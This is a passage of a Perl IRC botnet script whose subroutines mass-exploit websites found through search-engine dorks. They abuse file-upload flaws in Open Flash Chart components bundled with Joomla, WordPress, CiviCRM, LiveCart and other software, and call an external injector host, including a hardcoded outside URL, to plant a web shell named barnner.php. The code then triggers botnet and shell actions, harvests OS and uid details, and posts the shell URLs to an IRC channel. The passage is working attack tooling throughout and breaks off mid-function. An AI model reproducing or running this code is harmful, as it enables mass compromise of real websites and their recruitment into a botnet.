  2762.             &msg("$chan","$pinlogo4TARGET 12SEND 3TO 13$nick Selamatt Yaaa... ^_^ 4<9=4> 15SafeMode=$safe OS=$os uid=$uid ");
  2763.             &msg("$nick","$pinlogo15$engine 4<9=4>9 sHeLL 4<9=4>9 $shell 15SafeMode=$safe OS=$os uid=$uid ");
  2764.             }
  2765.             } exit; }
  2766.         }
  2767.     }
  2768. }
  2769. sub elemin_exploit() {
  2770. my $chan = $_[0];
  2771. my $bug = $_[1];
  2772. my $simpan = $_[2];
  2773. my $dork = $_[3];
  2774. my $engine = $_[4];
  2775. my $count = 0;
  2776. my @totexploit = &search_engine(chan,$bug,$simpan,$dork,$engine,$eleminlogo);
  2777. my $num = scalar(@totexploit);
  2778. if ($num > 0){
  2779. foreach my $site(@totexploit){
  2780. $count++;
  2781. if ($count == $num-1) { &msg("$chan","$eleminlogo15$engine 9Finished 15for 9$dork "); }
  2782. my $elemin = "http://".$site.$bug;
  2783. if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  2784. my $nama = $simpan;
  2785. my $cxshell = "http://".$site."/wp-content/themes/elemin/uploads/barnner.php";
  2786. #my $cek = &get_content($elemin);sleep(1);
  2787. # if ($cek =~ /No files were uploaded/i){
  2788. # &msg("$chan","$eleminlogo15$engine 9e3x9p3l9o3i9t3i9n3g 15http://$site ");
  2789. my $explo = $rceinjector."?url=".$site."&type=elemin";
  2790. &get_content($explo);sleep(1);
  2791. my $check = &get_content($cxshell);sleep(1);
  2792. if ($check =~ /otaelcyber/i){
  2793. my $safe = ""; my $os = ""; my $uid = "";
  2794. if ($check =~ /SAFE_MODE : (.*?)<\/b>/){$safe=$1;}
  2795. if ($check =~ /Uname : (.*?)<\/b>/){$os=$1;}
  2796. if ($check =~ /uid=(.*?)gid=/){$uid=$1;}
  2797. &msg("$chan","$eleminlogo4TARGET1 12SEND 3TO 13$nama Selamatt Yaaa... ^_^ 4<9=4> (SafeMode=$safe) (OS=$os) uid=$uid ");
  2798. &msg("$nama","$eleminlogo15$engine 4<9=4>9 sHeLL 4<9=4>9 $cxshell15 (SafeMode=$safe) (OS=$os) uid=$uid ");
  2799. }
  2800. #}
  2801. } exit; }
  2802. }
  2803. }
  2804. }
  2805. sub joomleague_exploit() {
  2806. my $chan = $_[0];
  2807. my $bug = $_[1];
  2808. my $simpan = $_[2];
  2809. my $dork = $_[3];
  2810. my $engine = $_[4];
  2811. my $count = 0;
  2812. my @totexploit = &search_engine(chan,$bug,$simpan,$dork,$engine,$joomleaguelogo);
  2813. my $num = scalar(@totexploit);
  2814. if ($num > 0){
  2815. foreach my $site(@totexploit){
  2816. $count++;
  2817. if ($count == $num-1) { &msg("$chan","$joomleaguelogo15$engine 9Finished 15for 9$dork "); }
  2818. if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  2819. my $nama = $simpan;
  2820. my $joomleagueshell = "http://".$site."/components/com_joomleague/assets/classes/tmp-upload-images/barnner.php";
  2821. my $joomleagues = "http://".$site."/components/com_joomleague/assets/classes/open-flash-chart/ofc_upload_image.php";
  2822. my $cek = &get_content($joomleagues);
  2823. if ($cek =~ /Saving your image/i){
  2824. &msg("$chan","$joomleaguelogo15$engine 9e3x9p3l9o3i9t3i9n3g 15http://$site ");
  2825. my $type = $rceinjector."?url=".$site."&type=joomleague";
  2826. my $cekk = &get_content($type);
  2827. $check = &get_content($joomleagueshell."?barnner");
  2828. &get_content($joomleagueshell."?delete");
  2829. &get_content($joomleagueshell."?botnet");
  2830. if ($cekk =~ /sukses bos barnner/i){
  2831. if ($check =~ /otaelcyber/i) { my $safe = ""; my $os = ""; my $uid = "";
  2832. if ($check =~ /SAFE_MODE : (.*?)<\/b>/){$safe=$1;}
  2833. if ($check =~ /Uname : (.*?)<\/b>/){$os=$1;}
  2834. if ($check =~ /uid=(.*?)gid=/){$uid=$1;}
  2835. &msg("$chan","$joomleaguelogo4TARGET1 12SEND 3TO 13$nama Selamatt Yaaa... ^_^ 4<9=4> (SafeMode=$safe) (OS=$os) uid=$uid ");
  2836. &msg("$nama","$joomleaguelogo15$engine 4<9=4>9 sHeLL 4<9=4>9 $joomleagueshell15 (SafeMode=$safe) (OS=$os) uid=$uid ");
  2837. }
  2838. }
  2839. }
  2840. } exit; }
  2841. }
  2842. }
  2843. }
  2844. sub pointofsale_exploit() {
  2845. my $chan = $_[0];
  2846. my $bug = $_[1];
  2847. my $simpan = $_[2];
  2848. my $dork = $_[3];
  2849. my $engine = $_[4];
  2850. my $count = 0;
  2851. my @totexploit = &search_engine(chan,$bug,$simpan,$dork,$engine,$pointofsalelogo);
  2852. my $num = scalar(@totexploit);
  2853. if ($num > 0){
  2854. foreach my $site(@totexploit){
  2855. $count++;
  2856. if ($count == $num-1) { &msg("$chan","$pointofsalelogo15$engine 9Finished 15for 9$dork "); }
  2857. if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  2858. my $nama = $simpan;
  2859. my $pointofsaleshell = "http://".$site."/application/libraries/tmp-upload-images/barnner.php";
  2860. my $pointofsales = "http://".$site."/application/libraries/ofc-library/ofc_upload_image.php";
  2861. my $cek = &get_content($pointofsales);
  2862. if ($cek =~ /Saving your image/i){
  2863. &msg("$chan","$pointofsalelogo15$engine 9e3x9p3l9o3i9t3i9n3g 15http://$site ");
  2864. my $type = $rceinjector."?url=".$site."&type=pointofsale";
  2865. my $cekk = &get_content($type);
  2866. $check = &get_content($pointofsaleshell."?barnner");
  2867. &get_content($pointofsaleshell."?delete");
  2868. &get_content($pointofsaleshell."?botnet");
  2869. if ($cekk =~ /sukses bos barnner/i){
  2870. if ($check =~ /otaelcyber/) {
  2871. &get_content($pointofsaleshell."?shell");
  2872. my $safe = ""; my $os = ""; my $uid = "";
  2873. if ($check =~ /SAFE_MODE : (.*?)<\/b>/){$safe=$1;}
  2874. if ($check =~ /Uname : (.*?)<\/b>/){$os=$1;}
  2875. if ($check =~ /uid=(.*?)gid=/){$uid=$1;}
  2876. &msg("$chan","$pointofsalelogo4TARGET1 12SEND 3TO 13$nama Selamatt Yaaa... ^_^ 4<9=4> (SafeMode=$safe) (OS=$os) uid=$uid ");
  2877. &msg("$nama","$pointofsalelogo15$engine 4<9=4>9 sHeLL 4<9=4>9 $pointofsaleshell15 (SafeMode=$safe) (OS=$os) uid=$uid ");
  2878. }
  2879. }
  2880. }
  2881. } exit; }
  2882. }
  2883. }
  2884. }
  2885. sub clipbucket_exploit() {
  2886. my $chan = $_[0];
  2887. my $bug = $_[1];
  2888. my $simpan = $_[2];
  2889. my $dork = $_[3];
  2890. my $engine = $_[4];
  2891. my $count = 0;
  2892. my @totexploit = &search_engine(chan,$bug,$simpan,$dork,$engine,$clipbucketlogo);
  2893. my $num = scalar(@totexploit);
  2894. if ($num > 0){
  2895. foreach my $site(@totexploit){
  2896. $count++;
  2897. if ($count == $num-1) { &msg("$chan","$clipbucketlogo15$engine 9Finished 15for 9$dork "); }
  2898. my $test = "http://".$site.$bug."?name=magic.php";
  2899.             my $test1 = "http://".$site.$bug."?name=magic.php.pHp";
  2900.             my $test2 = "http://".$site.$bug."?name=.htaccess";
  2901.             my $cek1 = &get_content($test);&get_content($test1);
  2902.             if ($cek1 =~ /Saving your image to/i){
  2903.             &msg("$chan","$cliplogo4$engine 10http://$site"); sleep(2);
  2904.  
  2905.             &jg_ht($test2);
  2906.             &jg_magic($test);
  2907.             &jg_magic($test1);
  2908.             my $shell = "http://".$site."admin_area/charts/tmp-upload-images/magic.php";
  2909.             my $shellx = "http://".$site."admin_area/charts/tmp-upload-images/magic.php.pHp";
  2910.                         my $check = &get_content($shell);
  2911.                         my $check2 = &get_content($shellx);
  2912.                         if ($check =~ /BArNEr/i){
  2913.             &os($shell,$chan,$engine,$cliplogo,$nick);
  2914.             }
  2915.                         if ($check2 =~ /BArNEr/i){
  2916.             &os2($shell,$chan,$engine,$cliplogo,$nick);
  2917.         }
  2918.     }
  2919.         }
  2920.     }
  2921. }
  2922. sub redmistyc_exploit() {
  2923. my $chan = $_[0];
  2924. my $bug = $_[1];
  2925. my $simpan = $_[2];
  2926. my $dork = $_[3];
  2927. my $engine = $_[4];
  2928. my $count = 0;
  2929. my @totexploit = &search_engine(chan,$bug,$simpan,$dork,$engine,$redmistyclogo);
  2930. my $num = scalar(@totexploit);
  2931. if ($num > 0){
  2932. foreach my $site(@totexploit){
  2933. $count++;
  2934. if ($count == $num-1) { &msg("$chan","$redmistyclogo15$engine 9Finished 15for 9$dork "); }
  2935. if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  2936. my $nama = $simpan;
  2937. my $redmistycshell = "http://".$site."/administrator/components/com_redmystic/chart/tmp-upload-images/barnner.php";
  2938. my $redmistycs = "http://".$site."/administrator/components/com_redmystic/chart/ofc-library/ofc_upload_image.php";
  2939. my $cek = &get_content($redmistycs);
  2940. if ($cek =~ /Saving your image/i){
  2941. &msg("$chan","$redmistyclogo15$engine 9e3x9p3l9o3i9t3i9n3g 15http://$site ");
  2942. my $type = $rceinjector."?url=".$site."&type=redmistyc";
  2943. my $cekk = &get_content($type);
  2944. $check = &get_content($redmistycshell."?barnner");
  2945. &get_content($redmistycshell."?delete");
  2946. &get_content($redmistycshell."?botnet");
  2947. if ($cekk =~ /sukses bos barnner/i){
  2948. if ($check =~ /otaelcyber/) { my $safe = ""; my $os = ""; my $uid = "";
  2949. if ($check =~ /SAFE_MODE : (.*?)<\/b>/){$safe=$1;}
  2950. if ($check =~ /Uname : (.*?)<\/b>/){$os=$1;}
  2951. if ($check =~ /uid=(.*?)gid=/){$uid=$1;}
  2952. &msg("$chan","$redmistyclogo4TARGET1 12SEND 3TO 13$nama Selamatt Yaaa... ^_^ 4<9=4> (SafeMode=$safe) (OS=$os) uid=$uid ");
  2953. &msg("$nama","$redmistyclogo15$engine 4<9=4>9 sHeLL 4<9=4>9 $redmistycshell15 (SafeMode=$safe) (OS=$os) uid=$uid ");
  2954. }
  2955. }
  2956. }
  2957. } exit; }
  2958. }
  2959. }
  2960. }
  2961. sub rfi_exploit() {
  2962. my $chan = $_[0];
  2963. my $bug = $_[1];
  2964. my $simpan = $_[2];
  2965. my $dork = $_[3];
  2966. my $engine = $_[4];
  2967. my $count = 0;
  2968. my @totexploit = &search_engine(chan,$bug,$simpan,$dork,$engine,$rfilogo);
  2969. my $num = scalar(@totexploit);
  2970. if ($num > 0){
  2971. foreach my $site(@totexploit){
  2972. $count++;
  2973. if ($count == $num-1) { &msg("$chan","$rfilogo15$engine 9Finished 15for 9$dork "); }
  2974. my $nama = $simpan;
  2975. my $coba = "http://".$site.$bug."test???";
  2976. if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  2977. my $cek = &get_content($coba);sleep(1);
  2978. my $test = "http://".$site.$bug.$rfiinjector."???";
  2979. my $check = &get_content($test);sleep(1);
  2980. if ($check =~ BArNEr/i) {
  2981. my $safe = ""; my $os = ""; my $uid = "";
  2982. if ($check =~ /SAFE_MODE : (.*?)<\/b>/){$safe=$1;}
  2983. if ($check =~ /Uname : (.*?)<\/b>/){$os=$1;}
  2984. if ($check =~ /uid=(.*?)gid=/){$uid=$1;}
  2985. &msg("$chan","$rfilogo4TARGET1 12SEND 3TO 13$nama Selamatt Yaaa... ^_^ 4<9=4> (SafeMode=$safe) (OS=$os) uid=$uid ");
  2986. &msg("$nama","$rfilogo15$engine 4<9=4>9 sHeLL 4<9=4>9 $test15 (SafeMode=$safe) (OS=$os) uid=$uid ");
  2987. }
  2988. } exit;
  2989. }
  2990. }
  2991. }
  2992. }
  2993. sub reflex_exploit() {
  2994. my $chan = $_[0];
  2995. my $bug = $_[1];
  2996. my $simpan = $_[2];
  2997. my $dork = $_[3];
  2998. my $engine = $_[4];
  2999. my $count = 0;
  3000. my @totexploit = &search_engine(chan,$bug,$simpan,$dork,$engine,$reflexlogo);
  3001. my $num = scalar(@totexploit);
  3002. if ($num > 0){
  3003. foreach my $site(@totexploit){
  3004. $count++;
  3005. if ($count == $num-1) { &msg("$chan","$reflexlogo15$engine 9Finished 15for 9$dork "); }
  3006. my $reflex = "http://".$site.$bug;
  3007. if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  3008. my $nama = $simpan;
  3009. my $cxshell = "http://".$site."/wp-content/uploads/barnner.php";
  3010. my $cek = &get_content($reflex);sleep(1);
  3011. if ($cek =~ /No files were uploaded/i){
  3012. &msg("$chan","$reflexlogo15$engine 9e3x9p3l9o3i9t3i9n3g 15http://$site ");
  3013. my $explo = $rceinjector."?url=".$site."&type=ref";
  3014. &get_content($explo);sleep(1);
  3015. my $check = &get_content($cxshell);sleep(1);
  3016. if ($check =~ /otaelcyber/i){
  3017. my $safe = ""; my $os = ""; my $uid = "";
  3018. if ($check =~ /SAFE_MODE : (.*?)<\/b>/){$safe=$1;}
  3019. if ($check =~ /Uname : (.*?)<\/b>/){$os=$1;}
  3020. if ($check =~ /uid=(.*?)gid=/){$uid=$1;}
  3021. &msg("$chan","$reflexlogo4TARGET1 12SEND 3TO 13$nama Selamatt Yaaa... ^_^ 4<9=4> (SafeMode=$safe) (OS=$os) uid=$uid ");
  3022. &msg("$nama","$reflexlogo15$engine 4<9=4>9 sHeLL 4<9=4>9 $cxshell15 (SafeMode=$safe) (OS=$os) uid=$uid ");
  3023. }
  3024. }
  3025. } exit; }
  3026. }
  3027. }
  3028. }
  3029. sub switchblade_exploit() {
  3030. my $chan = $_[0];
  3031. my $bug = $_[1];
  3032. my $simpan = $_[2];
  3033. my $dork = $_[3];
  3034. my $engine = $_[4];
  3035. my $count = 0;
  3036. my @totexploit = &search_engine(chan,$bug,$simpan,$dork,$engine,$switchbladelogo);
  3037. my $num = scalar(@totexploit);
  3038. if ($num > 0){
  3039. foreach my $site(@totexploit){
  3040. $count++;
  3041. if ($count == $num-1) { &msg("$chan","$switchbladelogo15$engine 9Finished 15for 9$dork "); }
  3042. my $switchblade = "http://".$site.$bug;
  3043. if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  3044. my $nama = $simpan;
  3045. my $cxshell = "http://".$site."/wp-content/uploads/2014/11/magic.php";
  3046. my $cek = &get_content($switchblade);sleep(1);
  3047. if ($cek =~ /No files were uploaded/i){
  3048. &msg("$chan","$switchbladelogo15$engine 9e3x9p3l9o3i9t3i9n3g 15http://$site ");
  3049. my $explo = $rceinjector."?url=".$site."&type=switchblade";
  3050. &get_content($explo);sleep(1);
  3051. my $check = &get_content($cxshell);sleep(1);
  3052. if ($check =~ /BArNEr/i){
  3053. my $safe = ""; my $os = ""; my $uid = "";
  3054. if ($check =~ /SAFE_MODE : (.*?)<\/b>/){$safe=$1;}
  3055. if ($check =~ /Uname : (.*?)<\/b>/){$os=$1;}
  3056. if ($check =~ /uid=(.*?)gid=/){$uid=$1;}
  3057. &msg("$chan","$switchbladelogo4TARGET1 12SEND 3TO 13$nama Selamatt Yaaa... ^_^ 4<9=4> (SafeMode=$safe) (OS=$os) uid=$uid ");
  3058. &msg("$nama","$switchbladelogo15$engine 4<9=4>9 sHeLL 4<9=4>9 $cxshell15 (SafeMode=$safe) (OS=$os) uid=$uid ");
  3059. }
  3060. }
  3061. } exit; }
  3062. }
  3063. }
  3064. }
  3065. sub coldfusion_exploit() {
  3066. my $chan = $_[0];
  3067. my $bug = $_[1];
  3068. my $simpan = $_[2];
  3069. my $dork = $_[3];
  3070. my $engine = $_[4];
  3071. my $count = 0;
  3072. my @totexploit = &search_engine(chan,$bug,$simpan,$dork,$engine,$coldfusionlogo);
  3073. my $num = scalar(@totexploit);
  3074. if ($num > 0){
  3075. foreach my $site(@totexploit){
  3076. $count++;
  3077. if ($count == $num-1) { &msg("$chan","$coldfusionlogo15$engine 9Finished 15for 9$dork "); }
  3078. my $coldfusion = "http://".$site.$bug;
  3079. if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  3080. my $nama = $simpan;
  3081. my $cxshell = "http://".$site."/wp-content/uploads/settingsimages/barnner.php";
  3082. my $cek = &get_content($coldfusion);sleep(1);
  3083. if ($cek =~ /No files were uploaded/i){
  3084. &msg("$chan","$coldfusionlogo15$engine 9e3x9p3l9o3i9t3i9n3g 15http://$site ");
  3085. my $explo = $rceinjector."?url=".$site."&type=coldfusion";
  3086. &get_content($explo);sleep(1);
  3087. my $check = &get_content($cxshell);sleep(1);
  3088. if ($check =~ /otaelcyber/i){
  3089. my $safe = ""; my $os = ""; my $uid = "";
  3090. if ($check =~ /SAFE_MODE : (.*?)<\/b>/){$safe=$1;}
  3091. if ($check =~ /Uname : (.*?)<\/b>/){$os=$1;}
  3092. if ($check =~ /uid=(.*?)gid=/){$uid=$1;}
  3093. &msg("$chan","$coldfusionlogo4TARGET1 12SEND 3TO 13$nama Selamatt Yaaa... ^_^ 4<9=4> (SafeMode=$safe) (OS=$os) uid=$uid ");
  3094. &msg("$nama","$coldfusionlogo15$engine 4<9=4>9 sHeLL 4<9=4>9 $cxshell15 (SafeMode=$safe) (OS=$os) uid=$uid ");
  3095. }
  3096. }
  3097. } exit; }
  3098. }
  3099. }
  3100. }
  3101. sub phpvms_exploit() {
  3102. my $chan = $_[0];
  3103. my $bug = $_[1];
  3104. my $simpan = $_[2];
  3105. my $dork = $_[3];
  3106. my $engine = $_[4];
  3107. my $count = 0;
  3108. my @totexploit = &search_engine(chan,$bug,$simpan,$dork,$engine,$phpvmslogo);
  3109. my $num = scalar(@totexploit);
  3110. if ($num > 0){
  3111. foreach my $site(@totexploit){
  3112. $count++;
  3113. if ($count == $num-1) { &msg("$chan","$phpvmslogo15$engine 9Finished 15for 9$dork "); }
  3114. if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  3115. my $nama = $simpan;
  3116. my $phpvmsshell = "http://".$site."/core/lib/tmp-upload-images/barnner.php";
  3117. my $phpvmss = "http://".$site."/core/lib/php-ofc-library/ofc_upload_image.php";
  3118. my $cek = &get_content($phpvmss);
  3119. if ($cek =~ /Saving your image/i){
  3120. &msg("$chan","$phpvmslogo15$engine 9e3x9p3l9o3i9t3i9n3g 15http://$site ");
  3121. my $phpvmsv = "http://wibo.pl/administrator/components/components/rcex.php?url=";
  3122. my $type = $rceinjector."?url=".$site."&type=phpvms";
  3123. my $cekk = &get_content($type);
  3124. $check = &get_content($phpvmsshell."?barnner");
  3125. &get_content($phpvmsshell."?delete");
  3126. &get_content($phpvmsshell."?botnet");
  3127. if ($cekk =~ /sukses bos barnner/i){
  3128. if ($check =~ /otaelcyber/) { my $safe = ""; my $os = ""; my $uid = "";
  3129. if ($check =~ /SAFE_MODE : (.*?)<\/b>/){$safe=$1;}
  3130. if ($check =~ /Uname : (.*?)<\/b>/){$os=$1;}
  3131. if ($check =~ /uid=(.*?)gid=/){$uid=$1;}
  3132. &msg("$chan","$phpvmslogo4TARGET1 12SEND 3TO 13$nama Selamatt Yaaa... ^_^ 4<9=4> (SafeMode=$safe) (OS=$os) uid=$uid ");
  3133. &msg("$nama","$phpvmslogo15$engine 4<9=4>9 sHeLL 4<9=4>9 $phpvmsshell15 (SafeMode=$safe) (OS=$os) uid=$uid ");
  3134. }
  3135. }
  3136. }
  3137. } exit; }
  3138. }
  3139. }
  3140. }
  3141. sub maian_exploit() {
  3142. my $chan = $_[0];
  3143. my $bug = $_[1];
  3144. my $simpan = $_[2];
  3145. my $dork = $_[3];
  3146. my $engine = $_[4];
  3147. my $count = 0;
  3148. my @totexploit = &search_engine(chan,$bug,$simpan,$dork,$engine,$maianlogo);
  3149. my $num = scalar(@totexploit);
  3150. if ($num > 0){
  3151. foreach my $site(@totexploit){
  3152. $count++;
  3153. if ($count == $num-1) { &msg("$chan","$maianlogo15$engine 9Finished 15for 9$dork "); }
  3154. if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  3155. my $nama = $simpan;
  3156. my $maianshell = "http://".$site."/administrator/components/com_maianmedia/utilities/charts/tmp-upload-images/barnner.php";
  3157. my $maians = "http://".$site."/administrator/components/com_maianmedia/utilities/charts/php-ofc-library/ofc_upload_image.php";
  3158. my $cek = &get_content($maians);
  3159. if ($cek =~ /Saving your image/i){
  3160. &msg("$chan","$maianlogo15$engine 9e3x9p3l9o3i9t3i9n3g 15http://$site ");
  3161. my $type = $rceinjector."?url=".$site."&type=maian";
  3162. my $cekk = get_content($type);
  3163. $check = &get_content($maianshell."?barnner");
  3164. &get_content($maianshell."?delete");
  3165. &get_content($maianshell."?botnet");
  3166. if ($cekk =~ /sukses bos barnner/i){
  3167. if ($check =~ /otaelcyber/) { my $safe = ""; my $os = ""; my $uid = "";
  3168. if ($check =~ /SAFE_MODE : (.*?)<\/b>/){$safe=$1;}
  3169. if ($check =~ /Uname : (.*?)<\/b>/){$os=$1;}
  3170. if ($check =~ /uid=(.*?)gid=/){$uid=$1;}
  3171. &msg("$chan","$maianlogo4TARGET1 12SEND 3TO 13$nama Selamatt Yaaa... ^_^ 4<9=4> (SafeMode=$safe) (OS=$os) uid=$uid ");
  3172. &msg("$nama","$maianlogo15$engine 4<9=4>9 sHeLL 4<9=4>9 $maianshell15 (SafeMode=$safe) (OS=$os) uid=$uid ");
  3173. }
  3174. }
  3175. }
  3176. } exit; }
  3177. }
  3178. }
  3179. }
  3180. sub letter_exploit() {
  3181. my $chan = $_[0];
  3182. my $bug = $_[1];
  3183. my $simpan = $_[2];
  3184. my $dork = $_[3];
  3185. my $engine = $_[4];
  3186. my $count = 0;
  3187. my @totexploit = &search_engine(chan,$bug,$simpan,$dork,$engine,$letterlogo);
  3188. my $num = scalar(@totexploit);
  3189. if ($num > 0){
  3190. foreach my $site(@totexploit){
  3191. $count++;
  3192. if ($count == $num-1) { &msg("$chan","$letterlogo15$engine 9Finished 15for 9$dork "); }
  3193. if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  3194. my $nama = $simpan;
  3195. my $lettershell = "http://".$site."/administrator/components/com_jnewsletter/includes/openflashchart/tmp-upload-images/barnner.php";
  3196. my $letters = "http://".$site."/administrator/components/com_jnewsletter/includes/openflashchart/php-ofc-library/ofc_upload_image.php";
  3197. my $cek = &get_content($letters);
  3198. if ($cek =~ /Saving your image/i){
  3199. &msg("$chan","$letterlogo15$engine 9e3x9p3l9o3i9t3i9n3g 15http://$site ");
  3200. my $letterv = "http://wibo.pl/administrator/components/components/rcex.php?url=";
  3201. my $type = $rceinjector."?url=".$site."&type=letter";
  3202. my $cekk = &get_content($type);
  3203. $check = &get_content($lettershell."?barnner");
  3204. &get_content($lettershell."?delete");
  3205. &get_content($lettershell."?botnet");
  3206. if ($cekk =~ /sukses bos barnner/i){
  3207. if ($check =~ /otaelcyber/) { my $safe = ""; my $os = ""; my $uid = "";
  3208. if ($check =~ /SAFE_MODE : (.*?)<\/b>/){$safe=$1;}
  3209. if ($check =~ /Uname : (.*?)<\/b>/){$os=$1;}
  3210. if ($check =~ /uid=(.*?)gid=/){$uid=$1;}
  3211. &msg("$chan","$letterlogo4TARGET1 12SEND 3TO 13$nama Selamatt Yaaa... ^_^ 4<9=4> (SafeMode=$safe) (OS=$os) uid=$uid ");
  3212. &msg("$nama","$letterlogo15$engine 4<9=4>9 sHeLL 4<9=4>9 $lettershell15 (SafeMode=$safe) (OS=$os) uid=$uid ");
  3213. }
  3214. }
  3215. }
  3216. } exit; }
  3217. }
  3218. }
  3219. }
  3220. sub civicrm_exploit() {
  3221. my $chan = $_[0];
  3222. my $bug = $_[1];
  3223. my $simpan = $_[2];
  3224. my $dork = $_[3];
  3225. my $engine = $_[4];
  3226. my $count = 0;
  3227. my @totexploit = &search_engine(chan,$bug,$simpan,$dork,$engine,$civicrmlogo);
  3228. my $num = scalar(@totexploit);
  3229. if ($num > 0){
  3230. foreach my $site(@totexploit){
  3231. $count++;
  3232. if ($count == $num-1) { &msg("$chan","$civicrmlogo15$engine 9Finished 15for 9$dork "); }
  3233. if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  3234. my $nama = $simpan;
  3235. my $civicrmshell = "http://".$site."/administrator/components/com_civicrm/civicrm/packages/OpenFlashChart/tmp-upload-images/barnner.php";
  3236. my $civicrms = "http://".$site."/administrator/components/com_civicrm/civicrm/packages/OpenFlashChart/php-ofc-library/ofc_upload_image.php";
  3237. my $cek = &get_content($civicrms);
  3238. if ($cek =~ /Saving your image/i){
  3239. &msg("$chan","$civicrmlogo15$engine 9e3x9p3l9o3i9t3i9n3g 15http://$site ");
  3240. my $type = $rceinjector."?url=".$site."&type=civi";
  3241. my $cekk = &get_content($type);
  3242. $check = &get_content($civicrmshell."?barnner");
  3243. &get_content($civicrmshell."?delete");
  3244. &get_content($civicrmshell."?botnet");
  3245. if ($cekk =~ /sukses bos barnner/i){
  3246. if ($check =~ /otaelcyber/) { my $safe = ""; my $os = ""; my $uid = "";
  3247. if ($check =~ /SAFE_MODE : (.*?)<\/b>/){$safe=$1;}
  3248. if ($check =~ /Uname : (.*?)<\/b>/){$os=$1;}
  3249. if ($check =~ /uid=(.*?)gid=/){$uid=$1;}
  3250. &msg("$chan","$civicrmlogo4TARGET1 12SEND 3TO 13$nama Selamatt Yaaa... ^_^ 4<9=4> (SafeMode=$safe) (OS=$os) uid=$uid ");
  3251. &msg("$nama","$civicrmlogo15$engine 4<9=4>9 sHeLL 4<9=4>9 $civicrmshell15 (SafeMode=$safe) (OS=$os) uid=$uid ");
  3252. }
  3253. }
  3254. }
  3255. } exit; }
  3256. }
  3257. }
  3258. }
  3259. sub livecart_exploit() {
  3260. my $chan = $_[0];
  3261. my $bug = $_[1];
  3262. my $simpan = $_[2];
  3263. my $dork = $_[3];
  3264. my $engine = $_[4];
  3265. my $count = 0;
  3266. my @totexploit = &search_engine(chan,$bug,$simpan,$dork,$engine,$livecartlogo);
  3267. my $num = scalar(@totexploit);
  3268. if ($num > 0){
  3269. foreach my $site(@totexploit){
  3270. $count++;
  3271. if ($count == $num-1) { &msg("$chan","$livecartlogo15$engine 9Finished 15for 9$dork "); }
  3272. if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  3273. my $nama = $simpan;
  3274. my $livecartshell = "http://".$site."/library/tmp-upload-images/barnner.php";
  3275. my $livecarts = "http://".$site."/library/openFlashChart/ofc_upload_image.php";
  3276. my $cek = &get_content($livecarts);
  3277. if ($cek =~ /Saving your image/i){
  3278. &msg("$chan","$livecartlogo15$engine 9e3x9p3l9o3i9t3i9n3g 15http://$site ");
  3279. my $type = $rceinjector."?url=".$site."&type=livecart";
  3280. my $cekk = &get_content($type);
  3281. $check = &get_content($livecartshell."?barnner");
  3282. &get_content($livecartshell."?delete");
  3283. &get_content($livecartshell."?botnet");
  3284. if ($cekk =~ /sukses bos barnner/i){
  3285. if ($check =~ /otaelcyber/i) { my $safe = ""; my $os = ""; my $uid = "";
  3286. if ($check =~ /SAFE_MODE : (.*?)<\/b>/){$safe=$1;}
  3287. if ($check =~ /Uname : (.*?)<\/b>/){$os=$1;}
  3288. if ($check =~ /uid=(.*?)gid=/){$uid=$1;}
  3289. &msg("$chan","$livecartlogo4TARGET1 12SEND 3TO 13$nama Selamatt Yaaa... ^_^ 4<9=4> (SafeMode=$safe) (OS=$os) uid=$uid ");
  3290. &msg("$nama","$livecartlogo15$engine 4<9=4>9 sHeLL 4<9=4>9 $livecartshell15 (SafeMode=$safe) (OS=$os) uid=$uid ");
  3291. }
  3292. }
  3293. }
  3294. } exit; }
  3295. }
  3296. }
  3297. }
  3298. sub maian15_exploit() {
  3299. my $chan = $_[0];
  3300. my $bug = $_[1];
  3301. my $simpan = $_[2];
  3302. my $dork = $_[3];
  3303. my $engine = $_[4];
  3304. my $count = 0;
  3305. my @totexploit = &search_engine(chan,$bug,$simpan,$dork,$engine,$maian15logo);
  3306. my $num = scalar(@totexploit);
  3307. if ($num > 0){
  3308. foreach my $site(@totexploit){
  3309. $count++;
  3310. if ($count == $num-1) { &msg("$chan","$maian15logo15$engine 9Finished 15for 9$dork "); }
  3311. if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  3312. my $nama = $simpan;
  3313. my $maian15shell = "http://".$site."/administrator/components/com_maian15/charts/tmp-upload-images/barnner.php";
  3314. my $maian15s = "http://".$site."/administrator/components/com_maian15/charts/php-ofc-library/ofc_upload_image.php";
  3315. my $cek = &get_content($maian15s);
  3316. if ($cek =~ /Saving your image/i){
  3317. &msg("$chan","$maian15logo15$engine 9e3x9p3l9o3i9t3i9n3g 15http://$site ");
  3318. my $type = $rceinjector."?url=".$site."&type=maian15";
  3319. my $cekk = &get_content($type);
  3320. $check = &get_content($maian15shell."?barnner");
  3321. &get_content($maian15shell."?delete");
  3322. &get_content($maian15shell."?botnet");
  3323. if ($cekk =~ /sukses bos barnner/i){
  3324. if ($check =~ /otaelcyber/i) { my $safe = ""; my $os = ""; my $uid = "";
  3325. if ($check =~ /SAFE_MODE : (.*?)<\/b>/){$safe=$1;}
  3326. if ($check =~ /Uname : (.*?)<\/b>/){$os=$1;}
  3327. if ($check =~ /uid=(.*?)gid=/){$uid=$1;}
  3328. &msg("$chan","$maian15logo4TARGET1 12SEND 3TO 13$nama Selamatt Yaaa... ^_^ 4<9=4> (SafeMode=$safe) (OS=$os) uid=$uid ");
  3329. &msg("$nama","$maian15logo15$engine 4<9=4>9 sHeLL 4<9=4>9 $maian15shell15 (SafeMode=$safe) (OS=$os) uid=$uid ");
  3330. }
  3331. }
  3332. }
  3333. } exit; }
  3334. }
  3335. }
  3336. }
  3337. sub acy_exploit() {
  3338. my $chan = $_[0];
  3339. my $bug = $_[1];
  3340. my $simpan = $_[2];
  3341. my $dork = $_[3];
  3342. my $engine = $_[4];
